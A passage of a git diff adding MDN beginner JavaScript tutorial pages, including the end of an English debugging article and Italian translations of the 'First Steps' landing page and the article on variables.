+ <li>Search for the <code>randomNumber</code> variable, and the lines where the random number is first set. The instance that stores the random number that we want to guess at the start of the game should be around line number 44:
+
+  <pre class="brush: js">var randomNumber = Math.floor(Math.random()) + 1;</pre>
+  And the one that generates the random number before each subsequent game is around line 113:</li>
+ <li>
+  <pre class="brush: js">randomNumber = Math.floor(Math.random()) + 1;</pre>
+ </li>
+ <li>To check whether these lines are indeed the problem, let's turn to our friend <code>console.log()</code> again — insert the following line directly below each of the above two lines:
+  <pre class="brush: js">console.log(randomNumber);</pre>
+ </li>
+ <li>Save and refresh, then play a few games — you'll see that <code>randomNumber</code> is equal to 1 at each point where it is logged to the console.</li>
+</ol>
+
+<h3 id="Working_through_the_logic">Working through the logic</h3>
+
+<p>To fix this, let's consider how this line is working. First, we invoke <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a></code>, which generates a random decimal number between 0 and 1, e.g. 0.5675493843.</p>
+
+<pre class="brush: js">Math.random()</pre>
+
+<p>Next, we pass the result of invoking <code>Math.random()</code> through <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a></code>, which rounds the number passed to it down to the nearest whole number. We then add 1 to that result:</p>
+
+<pre>Math.floor(Math.random()) + 1</pre>
+
+<p>Rounding a random decimal number between 0 and 1 down will always return 0, so adding 1 to it will always return 1.  We need to multiply the random number by 100 before we round it down. The following would give us a random number between 0 and 99:</p>
+
+<pre class="brush: js">Math.floor(Math.random()*100);</pre>
+
+<p>Hence us wanting to add 1, to give us a random number between 1 and 100:</p>
+
+<pre class="brush: js">Math.floor(Math.random()*100) + 1;</pre>
+
+<p>Try updating both lines like this, then save and refresh — the game should now play like we are intending it to!</p>
+
+<h2 id="Other_common_errors">Other common errors</h2>
+
+<p>There are other common errors you'll come across in your code. This section highlights most of them.</p>
+
+<h3 id="SyntaxError_missing_before_statement">SyntaxError: missing ; before statement</h3>
+
+<p>This error generally means that you have missed a semi colon at the end of one of your lines of code, but it can sometimes be more cryptic. For example, if we change this line inside the <code>checkGuess()</code> function:</p>
+
+<pre class="brush: js">var userGuess = Number(guessField.value);</pre>
+
+<p>to</p>
+
+<pre class="brush: js">var userGuess === Number(guessField.value);</pre>
+
+<p>It throws this error because it thinks you are trying to do something different. You should make sure that you don't mix up the assignment operator (<code>=</code>) — which sets a variable to be equal to a value — with the strict equality operator (<code>===</code>), which tests whether one value is equal to another, and returns a <code>true</code>/<code>false</code> result.</p>
+
+<div class="note">
+<p><strong>Note</strong>: See our <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement">SyntaxError: missing ; before statement</a> reference page for more details about this error.</p>
+</div>
+
+<h3 id="The_program_always_says_you've_won_regardless_of_the_guess_you_enter">The program always says you've won, regardless of the guess you enter</h3>
+
+<p>This could be another symptom of mixing up the assignment and strict equality operators. For example, if we were to change this line inside <code>checkGuess()</code>:</p>
+
+<pre class="brush: js">if (userGuess === randomNumber) {</pre>
+
+<p>to</p>
+
+<pre class="brush: js">if (userGuess = randomNumber) {</pre>
+
+<p>the test would always return <code>true</code>, causing the program to report that the game has been won. Be careful!</p>
+
+<h3 id="SyntaxError_missing_)_after_argument_list">SyntaxError: missing ) after argument list</h3>
+
+<p>This one is pretty simple — it generally means that you've missed the closing parenthesis off the end of a function/method call.</p>
+
+<div class="note">
+<p><strong>Note</strong>: See our <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list">SyntaxError: missing ) after argument list</a> reference page for more details about this error.</p>
+</div>
+
+<h3 id="SyntaxError_missing_after_property_id">SyntaxError: missing : after property id</h3>
+
+<p>This error usually relates to an incorrectly formed JavaScript object, but in this case we managed to get it by changing</p>
+
+<pre class="brush: js">function checkGuess() {</pre>
+
+<p>to</p>
+
+<pre class="brush: js">function checkGuess( {</pre>
+
+<p>This has caused the browser to think that we are trying to pass the contents of the function into the function as an argument. Be careful with those parentheses!</p>
+
+<h3 id="SyntaxError_missing_after_function_body">SyntaxError: missing } after function body</h3>
+
+<p>This is easy — it generally means that you've missed one of your curly braces from a function or conditional structure. We got this error by deleting one of the closing curly braces near the bottom of the <code>checkGuess()</code> function.</p>
+
+<h3 id="SyntaxError_expected_expression_got_'string'_or_SyntaxError_unterminated_string_literal">SyntaxError: expected expression, got '<em>string</em>' or SyntaxError: unterminated string literal</h3>
+
+<p>These errors generally mean that you've missed off a string value's opening or closing quote mark. In the first error above, <em>string</em> would be replaced with the unexpected character(s) that the browser found instead of a quote mark at the start of a string. The second error means that the string has not been ended with a quote mark.</p>
+
+<p>For all of these errors, think about how we tackled the examples we looked at in the walkthrough. When an error arises, look at the line number you are given, go to that line and see if you can spot what's wrong. Bear in mind that the error is not necessarily going to be on that line, and also that the error might not be caused by the exact same problem we cited above!</p>
+
+<div class="note">
+<p><strong>Note</strong>: See our <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unexpected_token">SyntaxError: Unexpected token</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unterminated_string_literal">SyntaxError: unterminated string literal</a> reference pages for more details about these errors.</p>
+</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>So there we have it, the basics of figuring out errors in simple JavaScript programs. It won't always be that simple to work out what's wrong in your code, but at least this will save you a few hours of sleep and allow you to progress a bit faster when things don't turn out right earlier on in your learning journey.</p>
+
+<h2 id="See_also">See also</h2>
+
+<div>
+<ul>
+ <li>There are many other types of errors that aren't listed here; we are compiling a reference that explains what they mean in detail — see the <a href="/en-US/docs/Web/JavaScript/Reference/Errors">JavaScript error reference</a>.</li>
+ <li>If you come across any errors in your code that you aren't sure how to fix after reading this article, you can get help! Ask on the <a class="external external-icon" href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">Learning Area Discourse thread</a>, or in the <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC channel on <a class="external external-icon" href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Tell us what your error is, and we'll try to help you. A listing of your code would be useful as well.</li>
+</ul>
+</div>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript">What is JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">A first splash into JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables">Storing the information you need — Variables</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math">Basic math in JavaScript — numbers and operators</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Assessment: Silly story generator</a></li>
+</ul>
diff --git a/files/it/learn/javascript/first_steps/index.html b/files/it/learn/javascript/first_steps/index.html
new file mode 100644
index 0000000000..220f1f25c1
--- /dev/null
+++ b/files/it/learn/javascript/first_steps/index.html
@@ -0,0 +1,68 @@
+---
+title: JavaScript First Steps
+slug: Learn/JavaScript/First_steps
+tags:
+  - Arrays
+  - Article
+  - Assessment
+  - Beginner
+  - CodingScripting
+  - Guide
+  - JavaScript
+  - Landing
+  - Module
+  - NeedsTranslation
+  - Numbers
+  - Operators
+  - TopicStub
+  - Variables
+  - 'l10n:priority'
+  - maths
+  - strings
+translation_of: Learn/JavaScript/First_steps
+---
+<p class="summary">{{LearnSidebar}}Nel nostro primo modulo JavaScript, per prima cosa, rispondiamo ad alcune domande fondamentali come "cosa è JavaScript?", "a che cosa assomiglia?", e "cosa può fare?", prima di guidarti nella tua prima esperienza pratica di scrittura JavaScript. Dopodiché, discuteremo dettagliatamente, alcuni elementi chiave, come variabili, stringhe, numeri ed array.</p>
+
+<h2 id="Prerequisiti">Prerequisiti</h2>
+
+<p>Prima di iniziare questo modulo, non hai bisogno di alcuna precedente conoscenza di JavaScript, ma dovresti avere familiarità con HTML e CSS. Si consiglia di utilizzare i seguenti moduli prima di iniziare su JavaScript:</p>
+
+<ul>
+ <li><a href="/it/docs/Learn/Getting_started_with_the_web">Iniziare con il Web</a> (che include <a href="/it/docs/Getting_started_with_the_web/JavaScript_basics">un'introduzione Javascript realmente di base</a>)</li>
+ <li><a href="/it/docs/Learn/HTML/Introduction_to_HTML">Introduzione ad HTML</a>.</li>
+ <li><a href="/it/docs/Learn/CSS/Introduction_to_CSS">Introduzione a CSS</a>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota:</strong> Se stai lavorando su un computer/tablet/altro dispositivo dove non sei in grado di creare i tuoi files, potresti provare (la maggior parte) gli esempi di codice in un programma di codifica online come <a href="http://jsbin.com/">JSBin</a> o <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guide">Guide</h2>
+
+<dl>
+ <dt><a href="/it/docs/Learn/JavaScript/First_steps/What_is_JavaScript">Cosa è JavaScript?</a></dt>
+ <dd>Benvenuto nel corso JavaScript per principianti di MDN! In questo primo articolo vedremo JavaScript da un livello alto, rispondendo a domande come "cosa è JavaScript?" e "cosa sta facendo?", e assicurandoci che tu sia a tuo agio con lo scopo di JavaScript.</dd>
+ <dt><a href="/it/docs/Learn/JavaScript/First_steps/A_first_splash">Un primo tuffo in JavaScript</a></dt>
+ <dd>Ora che hai imparato qualcosa sulla teoria di JavaScript, e cosa puoi fare con esso, stiamo per fornirti un corso accelerato sulle caratteristiche di base di JavaScript attraverso un tutorial totalmente pratico. Qui costruirai un semplice gioco "Indovina il numero", passo dopo passo.</dd>
+ <dt><a href="/it/docs/Learn/JavaScript/First_steps/What_went_wrong">Cosa è andato storto? Risoluzione dei problemi di JavaScript</a></dt>
+ <dd>Quando hai costruito il gioco "Indovina il numero" nel precedente articolo, potresti aver trovato che non funzionava. Nessuna paura - questo articolo mira a salvarti dallo strapparti i capelli su questi problemi fornendoti alcuni semplici consigli sul come trovare e correggere gli errori nei programmi JavaScript.</dd>
+ <dt><a href="/it/docs/Learn/JavaScript/First_steps/Variables">Memorizzare le informazioni ci cui hai bisogno - le Variabili</a></dt>
+ <dd>Dopo aver letto l'ultima coppia di articoli dovresti sapere cos'è JavaScript, cosa può fare per te, come usarlo con altre tecnologie web, e come le sue principali caratteristiche appaiono da un livello alto. In questo articolo andremo giù fino alle basi reali, guardando come lavorare con i blocchi di costruzione più semplici di JavaScript - Variabili.</dd>
+ <dt>Matemeatica di base in JavaScript - numeri e operatori</dt>
+ <dd>A questo punto del corso discuteremo matematica in JavaScript — come possiamo combinare operatori ed altre funzioni per manipolare con successo i numeri per fare i nostri bidding.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></dt>
+ <dd>Next we'll turn our attention to strings — this is what pieces of text are called in programming. In this article we'll look at all the common things that you really ought to know about strings when learning JavaScript, such as creating strings, escaping quotes in string, and joining them together.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></dt>
+ <dd>Now we've looked at the very basics of strings, let's move up a gear and start thinking about what useful operations we can do on strings with built-in methods, such as finding the length of a text string, joining and splitting strings, substituting one character in a string for another, and more.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></dt>
+ <dd>In the final article of this module, we'll look at arrays — a neat way of storing a list of data items under a single variable name. Here we look at why this is useful, then explore how to create an array, retrieve, add, and remove items stored in an array, and more besides.</dd>
+</dl>
+
+<h2 id="Assessments">Assessments</h2>
+
+<p>The following assessment will test your understanding of the JavaScript basics covered in the guides above.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Silly story generator</a></dt>
+ <dd>In this assessment you'll be tasked with taking some of the knowledge you've picked up in this module's articles and applying it to creating a fun app that generates random silly stories. Have fun!</dd>
+</dl>
diff --git a/files/it/learn/javascript/first_steps/variabili/index.html b/files/it/learn/javascript/first_steps/variabili/index.html
new file mode 100644
index 0000000000..38da82e607
--- /dev/null
+++ b/files/it/learn/javascript/first_steps/variabili/index.html
@@ -0,0 +1,337 @@
+---
+title: Memorizzazione delle informazioni necessarie - Variabili
+slug: Learn/JavaScript/First_steps/Variabili
+translation_of: Learn/JavaScript/First_steps/Variables
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">Dopo aver letto gli ultimi due articoli, ora dovresti sapere cos'è JavaScript, cosa può fare per te, come lo usi insieme ad altre tecnologie web e quali sono le sue caratteristiche principali da un livello elevato. In questo articolo, passeremo alle basi reali, esaminando come lavorare con i blocchi di base di JavaScript - Variabili.</p>
+
+<table class="learn-box">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Nozioni di base di informatica, comprensione di base di HTML e CSS, comprensione di cosa sia JavaScript</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivo:</th>
+   <td>Acquisire familiarità con le basi delle variabili JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Strumenti_di_cui_hai_bisogno">Strumenti di cui hai bisogno</h2>
+
+<p>In questo articolo ti verrà chiesto di digitare righe di codice per testare la tua comprensione del contenuto. Se si utilizza un browser desktop, il posto migliore per digitare il codice di esempio è la console JavaScript del browser (vedere <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">Quali sono gli strumenti di sviluppo</a> del browser per ulteriori informazioni su come accedere a questo strumento).</p>
+
+<h2 id="Cosa_è_una_variabile">Cosa è una variabile?</h2>
+
+<p>Una variabile è un contenitore per un valore, come un numero che potremmo usare in una somma o una stringa che potremmo usare come parte di una frase. Ma una cosa speciale delle variabili è che i loro valori possono cambiare. Diamo un'occhiata a un semplice esempio:</p>
+
+<pre class="brush: html notranslate">&lt;button&gt;Press me&lt;/button&gt;</pre>
+
+<pre class="brush: js notranslate">const button = document.querySelector('button');
+
+button.onclick = function() {
+  let name = prompt('What is your name?');
+  alert('Hello ' + name + ', nice to see you!');
+}</pre>
+
+<p>{{ EmbedLiveSample('What_is_a_variable', '100%', 50, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>In questo esempio, premendo il bottone viene eseguito un paio di righe di codice. La prima riga apre una finestra sullo schermo che chiede al lettore di inserire il proprio nome, quindi memorizza il valore in una variabile. La seconda riga mostra un messaggio di benvenuto che include il loro nome, preso dal valore della variabile.</p>
+
+<p>Per capire perché questo è così utile, pensiamo a come scrivere questo esempio senza usare una variabile. Finirebbe per assomigliare a questo:</p>
+
+<pre class="example-bad notranslate">let name = prompt('What is your name?');
+
+if (name === 'Adam') {
+  alert('Hello Adam, nice to see you!');
+} else if (name === 'Alan') {
+  alert('Hello Alan, nice to see you!');
+} else if (name === 'Bella') {
+  alert('Hello Bella, nice to see you!');
+} else if (name === 'Bianca') {
+  alert('Hello Bianca, nice to see you!');
+} else if (name === 'Chris') {
+  alert('Hello Chris, nice to see you!');
+}
+
+// ... and so on ...</pre>
+
+<p>Potresti non comprendere appieno la sintassi che stiamo usando (ancora!), ma dovresti essere in grado di farti un'idea - se non avessimo variabili disponibili, dovremmo implementare un blocco di codice gigante che controlla quale sia il nome inserito e quindi visualizzare il messaggio appropriato per quel nome. Questo è ovviamente molto inefficiente (il codice è molto più grande, anche solo per cinque scelte), e semplicemente non funzionerebbe - non è possibile memorizzare tutte le possibili scelte.</p>
+
+<p>Le variabili hanno senso e, man mano che impari di più su JavaScript, inizieranno a diventare una seconda natura.</p>
+
+<p>Un'altra cosa speciale delle variabili è che possono contenere qualsiasi cosa, non solo stringhe e numeri. Le variabili possono anche contenere dati complessi e persino intere funzioni per fare cose sorprendenti. Imparerai di più su questo mentre procedi.</p>
+
+<div class="note">
+<p><strong>Nota</strong>:Diciamo che le variabili contengono valori. Questa è una distinzione importante da fare. Le variabili non sono i valori stessi; sono contenitori per valori. Puoi pensare che siano come piccole scatole di cartone in cui puoi riporre le cose.</p>
+</div>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13506/boxes.png" style="display: block; height: 436px; margin: 0px auto; width: 1052px;"></p>
+
+<h2 id="Dichiarare_una_variabile">Dichiarare una variabile</h2>
+
+<p>Per usare una variabile, devi prima crearla - più precisamente, dobbiamo dichiarare la variabile. Per fare ciò, utilizziamo la parola chiave var o let seguita dal nome che vuoi chiamare la tua variabile:</p>
+
+<pre class="brush: js notranslate">let myName;
+let myAge;</pre>
+
+<p>Qui stiamo creando due variabili chiamate myName e myAge. Prova a digitare queste righe nella console del tuo browser web. Successivamente, prova a creare una (o due) variabili chiamandole a tuo piacimento.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: In JavaScript, tutte le istruzioni del codice dovrebbero terminare con un punto e virgola (;) - il codice potrebbe funzionare correttamente per singole righe, ma probabilmente non funzionerà quando si scrivono più righe di codice insieme. Cerca di prendere l'abitudine di includerlo.</p>
+</div>
+
+<p>Puoi verificare se questi valori ora esistono nell'ambiente di esecuzione digitando solo il nome della variabile, ad es.</p>
+
+<pre class="brush: js notranslate">myName;
+myAge;</pre>
+
+<p>Al momento non hanno valore; sono contenitori vuoti. Quando si immettono i nomi delle variabili, è necessario ottenere un valore <kbd>undefined</kbd>. Se non esistono, verrà visualizzato un messaggio di errore: "try typing in</p>
+
+<pre class="brush: js notranslate">scoobyDoo;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Non confondere una variabile esistente ma che non ha alcun valore definito con una variabile che non esiste affatto: sono cose molto diverse. Nell'analogia della scatola che hai visto sopra, non esistere significherebbe che non esiste una scatola (variabile) in cui inserire un valore. Nessun valore definito significherebbe che c'è una scatola, ma non ha alcun valore al suo interno.</p>
+</div>
+
+<h2 id="Inizializzare_una_Variabile">Inizializzare una Variabile</h2>
+
+<p>Una volta che hai dichiarato una variabiale, puoi inizializzarla con un valore. Puoi farlo digitando il nome della variabile, seguito dal segno di uguale (=), seguito poi dal valore che vuoi dargli. Per esempio: </p>
+
+<pre class="brush: js notranslate">myName = 'Chris';
+myAge = 37;</pre>
+
+<p>Prova a tornare alla console ora e digita queste linee. Dovresti vedere il valore che hai assegnato alla variabile restituita nella console per confermarla, in ogni caso. Ancora una volta, puoi restituire i valori delle variabili semplicemente digitandone il nome nella console. Riprova:</p>
+
+<pre class="brush: js notranslate">myName;
+myAge;</pre>
+
+<p>Puoi dichiarare e inizializzare una variabile nello stesso tempo, come questo: </p>
+
+<pre class="brush: js notranslate">let myDog = 'Rover';</pre>
+
+<p>Questo è probabilmente ciò che farai la maggior parte del tempo, essendo il metodo più veloce rispetto alle due azioni separate. </p>
+
+<h2 id="Differenza_tra_var_e_let">Differenza tra var e let</h2>
+
+<p>A questo punto potresti pensare "perchè abbiamo bisogno di due keywords (parole chiavi) per definire le variabili?? Perchè avere  <code>var</code> e <code>let</code>?".</p>
+
+<p>Le ragioni sono in qualche modo storiche.  Ai tempi della creazione di JavaScript, c'era solo <code>var</code>. Questa funziona fondamentalmente in molti casi, ma ha alcuni problemi nel modo in cui funziona — il suo design può qualche volta essere confuso o decisamente fastidioso. Così,  <code>let</code> è stata creata nella moderna versione di JavaScript, una nuova keyword (parola chiave) per creare variabili che funzionano differentemente da <code>var</code>, risolvendo i suoi problemi nel processo.</p>
+
+<p>Di seguito sono spiegate alcune semplici differenze. Non le affronteremo ora tutte, ma inizierai a scoprirle mentre impari più su JavaScript. (se vuoi davvero leggere su di loro ora, non esitare a controllare la nostra pagina di riferimento <a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a>).</p>
+
+<p>Per iniziare, se scrivi un multilinea JavaScript che dichiara e inizializza una variabile, puoi effettivamente dichiarare una variabile con <code>var</code> dopo averla inizializzata funzionerà comunque. Per esempio:</p>
+
+<pre class="brush: js notranslate">myName = 'Chris';
+
+function logName() {
+  console.log(myName);
+}
+
+logName();
+
+var myName;</pre>
+
+<div class="note">
+<p><strong>Nota: </strong> Questo non funziona quando digiti linee individuali in una JavaScript console, ma solo quando viene eseguita in linee multiple in un documento web. </p>
+</div>
+
+<p>Questo lfunziona a causa di <strong>hoisting</strong> — leggi <a href="/en-US/docs/Web/JavaScript/Reference/Statements/var#var_hoisting">var hoisting</a> per maggiori dettagli sull'argomento. </p>
+
+<p>Hoisting non funziona con  <code>let</code>. Se cambiamo <code>var</code> a <code>let</code>  nell'esempio precedente, da un errore. Questa è una buona cosa — dichiarare una variabile dopo che averla inizializzata si traduce in un codice confuso e difficile da capire.</p>
+
+<p>In secondo luogo, quando usi  <code>var</code>, puoi dichiarare la stessa variabile tutte le volte che vuoi, ma con  <code>let</code> non puoi. Quanto segue funzionerebbe: </p>
+
+<pre class="brush: js notranslate">var myName = 'Chris';
+var myName = 'Bob';</pre>
+
+<p>Ma il seguente darebbe un errore sulla seconda linea: </p>
+
+<pre class="brush: js notranslate">let myName = 'Chris';
+let myName = 'Bob';</pre>
+
+<p>Dovresti invece fare questo: </p>
+
+<pre class="brush: js notranslate">let myName = 'Chris';
+myName = 'Bob';</pre>
+
+<p>Ancora una volta, questa è un scelta linquistica più corretta. Non c'è motivo di ridichiarare le variabili: rende le cose più confuse.</p>
+
+<p>Per queste ragioni e altre, noi raccomandiamo di usare <code>let</code> il più possibile nel tuo codice, piuttosto che <code>var</code>. Non ci sono motivi per usare <code>var</code>, a meno che non sia necessario supportare vecchie versioni di Internet Explorer proprio con il tuo codice.  ( <code>let</code> non è supportato fino fino alla versione 11, il moderno  Windows Edge browser supporta bene <code>let</code>).</p>
+
+<div class="note">
+<p><strong>Nota: </strong> Attualmente stiamo aggiornando il corso per usare più  <code>let</code> piuttosto che <code>var</code>. Abbi pazienza con noi!</p>
+</div>
+
+<h2 id="Aggiornare_una_variabile">Aggiornare una variabile</h2>
+
+<p>Una volta che una variabile è stata inizializzata con un valore, puoi cambiarlo (o aggiornarlo) dandogli semplicemente un valore differente. Prova a inserire le seguenti linee nella tua console: </p>
+
+<pre class="brush: js notranslate">myName = 'Bob';
+myAge = 40;</pre>
+
+<h3 id="Regole_di_denominazione_delle_variabili">Regole di denominazione delle variabili</h3>
+
+<p>Puoi chiamare una variabile praticamente come preferisci, ma ci sono delle limitazioni. Generalmente, dovresti limitarti ad usare i caratteri latini (0-9, a-z, A-Z) e l'underscore ( _ ).</p>
+
+<ul>
+ <li>Non dovresti usare altri caratteri perchè possono causare errori o essere difficili da capire per un pubblico internazionale. </li>
+ <li>Non usare l'underscores all'inizio di un nome di una variabile  — questo è usato in alcuni costrutti JavaScript per dire cose specifiche, quindi può generare confusione. </li>
+ <li>Non usare numeri all'inizio di una variabile. Questo non è permesso e causa un errore. </li>
+ <li>Una convezione sicura alla quale attenersi si chiama  <a href="https://en.wikipedia.org/wiki/CamelCase#Variations_and_synonyms">"notazione a cammello"</a>, dove per unire più parole, si usa il minuscolo per la prima parola e la lettera maiuscola per le seguenti parole. Abbiamo usato questo per i nomi delle variabili in questo articolo.  (es: myName)</li>
+ <li>Creare i nomi delle variabili intuitivi, in modo che descrivano i dati che contengono. Non usare singole lettere / numeri, o lunghe frasi.</li>
+ <li>Le variabili sono case sensitive — così <code>myage</code> è differente da <code>myAge</code>.</li>
+ <li>Ultimo punto: devi evitare di usare parole riservate a JavaScript come nomi delle variabili — con questo intendiamo le parole che compongono la sintassi effettiva di JavaScript! Così, non puoi usare parole come <code>var</code>, <code>function</code>, <code>let</code>, e <code>for</code> come nomi di variabili. I browsers  li riconoscono come elementi differenti di codice, e così danno errore. </li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Puoi trovare un elenco abbastanza completo di parole riservate da evitare a <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords">Lexical grammar — keywords</a>.</p>
+</div>
+
+<p>Esempi di nomi corretti: </p>
+
+<pre class="example-good notranslate">age
+myAge
+init
+initialColor
+finalOutputValue
+audio1
+audio2</pre>
+
+<p>Esempi di nomi errati: </p>
+
+<pre class="example-bad notranslate">1
+a
+_12
+myage
+MYAGE
+var
+Document
+skjfndskjfnbdskjfb
+thisisareallylongstupidvariablenameman</pre>
+
+<p>Esempi di nomi soggetti a errori: </p>
+
+<pre class="example-invalid notranslate">var
+Document
+</pre>
+
+<p>Prova a creare qualche altra variabile ora, tenendo presente le indicazioni sopra riportate. </p>
+
+<h2 id="Tipi_di_Variabili">Tipi di Variabili</h2>
+
+<p>Esistono diversi tipi di dati che possiamo archiviare in variabili. In questa sezione li descriveremo in breve, quindi in articoli futuri, imparerai su di loro in modo più dettagliato.</p>
+
+<p>Finora abbiamo esaminato i primi due, ma che ne sono altri. </p>
+
+<h3 id="Numeri">Numeri</h3>
+
+<p>Puoi memorizzare numeri nelle variabili, numeri interi come 30  o numeri decimali come 2,456 (chiamati anche numeri mobili o in virgola mobile). Non è necessario dichiarare i tipi di variabili in JavaScript, a differenza di altri linguaggi di programmazione. Quando dai a una variabile un valore numerico, non si usa le virgolette:</p>
+
+<pre class="brush: js notranslate">let myAge = 17;</pre>
+
+<h3 id="Stringhe">Stringhe</h3>
+
+<p>Le stringhe sono pezzi di testo. Quando dai a una variabile un valore di una stringa, hai bisogno di metterla in singole o doppie virgolette; altrimenti, JavaScript cerca di interpretarlo come un altro nome della variabile. </p>
+
+<pre class="brush: js notranslate">let dolphinGoodbye = 'So long and thanks for all the fish';</pre>
+
+<h3 id="Booleani">Booleani</h3>
+
+<p>I booleani sono dei valori vero/falso — possono avere due valori <code>true</code> o <code>false</code>. Questi sono generalmente usati per testare delle condizioni, dopo di che il codice viene eseguito come appropriato . Ad esempio, un semplice caso sarebbe:</p>
+
+<pre class="brush: js notranslate">let iAmAlive = true;</pre>
+
+<p>Considerando che in realtà sarebbe usato più così:</p>
+
+<pre class="brush: js notranslate">let test = 6 &lt; 3;</pre>
+
+<p>Questo sta usando l'operatore "minore di" (<code>&lt;</code>) per verificare se 6 è minore di 3. Come ci si potrebbe aspettare, restituisce <code>false</code>, perché 6 non è inferiore a 3! Imparerai molto di più su questi operatori più avanti nel corso.</p>
+
+<h3 id="Arrays">Arrays</h3>
+
+<p>Un  array è un singolo oggetto che contiene valori multipli racchiusi in parentesi quadre e separate da virgole. Prova a inserire le seguenti linee nella tua console:</p>
+
+<pre class="brush: js notranslate">let myNameArray = ['Chris', 'Bob', 'Jim'];
+let myNumberArray = [10, 15, 40];</pre>
+
+<p>Una volta che gli  arrays sono definiti,  è possibile accedere a ciascun valore in base alla posizione all'interno dell'array. Prova queste linee:</p>
+
+<pre class="brush: js notranslate">myNameArray[0]; // should return 'Chris'
+myNumberArray[2]; // should return 40</pre>
+
+<p>Le parentesi quadre specificano un valore di indice corrispondente alla posizione del valore che si desidera restituire. Potresti aver notato che gli array in JavaScript sono indicizzatI a zero: il primo elemento si trova all'indice 0.</p>
+
+<p>Puoi imparare molto sugli arrays in <a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">un futuro articolo</a>.</p>
+
+<h3 id="Oggetti">Oggetti</h3>
+
+<p>In programmazione, un oggetto è una struttura di codice che modella un oggetto reale. Puoi avere un oggetto semplice che rappresenta una box e contiene informazioni sulla sua larghezza, lunghezza e altezza, oppure potresti avere un oggetto che rappresenta una persona e contenere dati sul suo nome, altezza, peso, quale lingua parla, come salutarli<br>
+ e altro ancora.</p>
+
+<p>Prova a inserire il seguente codice nella tua console:</p>
+
+<pre class="brush: js notranslate">let dog = { name : 'Spot', breed : 'Dalmatian' };</pre>
+
+<p>Per recuperare le informazioni archiviate nell'oggetto, è possibile utilizzare la seguente sintassi:</p>
+
+<pre class="brush: js notranslate">dog.name</pre>
+
+<p>Per ora non esamineremo più gli oggetti: puoi saperne di più su quelli in un <a href="/en-US/docs/Learn/JavaScript/Objects"> modulo futuro.</a></p>
+
+<h2 id="Tipizzazione_dinamica">Tipizzazione dinamica</h2>
+
+<p>JavaScript è un "linguaggio a tipizzazione dinamica", questo significa che,  a differenza di altri linguaggi, non è necessario specificare quale tipo di dati conterrà una variabile (numeri, stringhe, array, ecc.).</p>
+
+<p>Ad esempio, se dichiari una variabile e le assegni un valore racchiuso tra virgolette, il browser considera la variabile come una stringa:</p>
+
+<pre class="brush: js notranslate">let myString = 'Hello';</pre>
+
+<p>Anche se il valore contiene numeri, è comunque una stringa, quindi fai attenzione:</p>
+
+<pre class="brush: js notranslate">let myNumber = '500'; // oops, questa è ancora una stringa
+typeof myNumber;
+myNumber = 500; // molto meglio - adesso questo è un numero
+typeof myNumber;</pre>
+
+<p>Prova a inserire le quattro righe sopra nella console una per una e guarda quali sono i risultati. Noterai che stiamo usando un speciale operatore chiamato <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></code>- questo restituisce il tipo di dati della variabile che scrivi dopo. La prima volta che viene chiamato, dovrebbe restituire <code>string</code>, poiché a quel punto la variabile <code>myNumber</code> contiene una stringa, <code>'500'</code>.<br>
+ Dai un'occhiata e vedi cosa restituisce la seconda volta che lo chiami.</p>
+
+<h2 id="Costanti_in_JavaScript">Costanti in JavaScript</h2>
+
